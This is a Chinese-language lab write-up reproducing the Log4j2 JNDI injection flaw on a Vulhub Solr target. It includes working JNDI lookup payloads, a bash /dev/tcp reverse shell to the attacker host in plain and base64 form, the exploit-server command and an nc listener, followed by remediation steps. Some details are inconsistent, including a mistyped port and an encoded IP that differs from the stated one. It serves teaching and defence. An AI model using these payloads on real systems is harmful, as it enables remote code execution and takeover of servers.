一、log4j2漏洞简介
Apache log4j 2是一款开源的Java日志记录框架,提供方便的日志记录,通过定义每一条日志信息的级别,能够更加细致地控制日志生成过程,以便用于编写程序时进行调试,在项目上线后出现状况时也可根据日志记录来判断原因,被广泛大量用于业务系统开发环境中。经验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等众多组件与大型应用均受影响,该类组件存在Java JNDI注入,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码,危害极其严重。
1. 危害等级
严重
2. 受影响版本
2.0-beta9 <= Apache Log4j <= 2.15.0-rc1
3. 已知受影响应用及组件
Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2
4. 不受影响版本:
Apache log4j-2.15.0-rc2
二、复现环境
靶机(搭建的Vulhub漏洞测试靶场):192.168.15.15
攻击机(kali):192.168.15.131
Vulhub漏洞测试靶场的搭建可参考:Vulhub漏洞测试靶场搭建
三、复现过程
1. 启动log4j2漏洞环境
浏览器输入:http://192.168.15.15:8983 打开网址
2. 使用DNSLog来进行探测漏洞存在的注入点
访问 dnslog.cn 获取测试域名地址
我们可以发现/solr/admin/cores?这里有个参数可以传,可以按照原理先构造一个请求传过去
http://192.168.15.15:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.36oinp.dnslog.cn}
可以看到Java的版本被输出,测试具有漏洞
3. 攻击
应用工具JNDI-Injection-Exploit搭建服务,格式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令"-A "ip(攻击机)"
这里的命令是想要靶机运行的命令,-A后放的是发出攻击的电脑的ip,也是存放-C后“命令”的ip地址。
注意“命令”必须经过编码,不然将无法实现。
构造反弹shell用到的命令
bash -i >&/dev/tcp/192.168.15.131/66660>&1
使用在线base64编码平台将反弹shell进行编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEzMS82NjY2IDA+JjE=
构造解析base64命令行代码
bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具
工具下载地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOS82NjY2IDA+JjE=}|{base64, -d}|{bash, -i}"-A 192.168.15.131
打开控制端监听
sudo nc -lvnp 6666
根据我们之前探测java的jdk为1.8.0所以选择所选的ladp地址
我们在浏览器中运行构造的paload请求,发现服务器去下载了恶意类
http://192.168.15.15:8983/solr/admin/cores?action=${jndi:ldap://192.168.15.131:1389/rh8fqa}
成功反弹shell
查看监听端口成功反弹shell,并获取的root权限
四、修复建议
- 尽快通过参考链接中官网地址升级到最新版本: https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
- 配置网络防火墙,禁止系统主动外连网络,包含不限于DNS、TCP/IP、ICMP。
- 升级已知受影响的应用及组件,如srping-boot-strater-log4j2、ApacheSolr、Apache Flink、Apache Druid。
- 排查日志集中管理服务器,以及基于java开发的商业软件,以及其他可能存在隐患的基础环境。
- 紧急加固缓解措施:
① 设置参数:
log4j2.formatMsgNoLookups=True
② 修改JVM参数:
-Dlog4j2.formatMsgNoLookups=true
③ 系统环境变量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
④ 禁止 log4j2 所在服务器外连
版权归原作者 学海无涯、学无止境 所有, 如有侵权,请联系我们删除。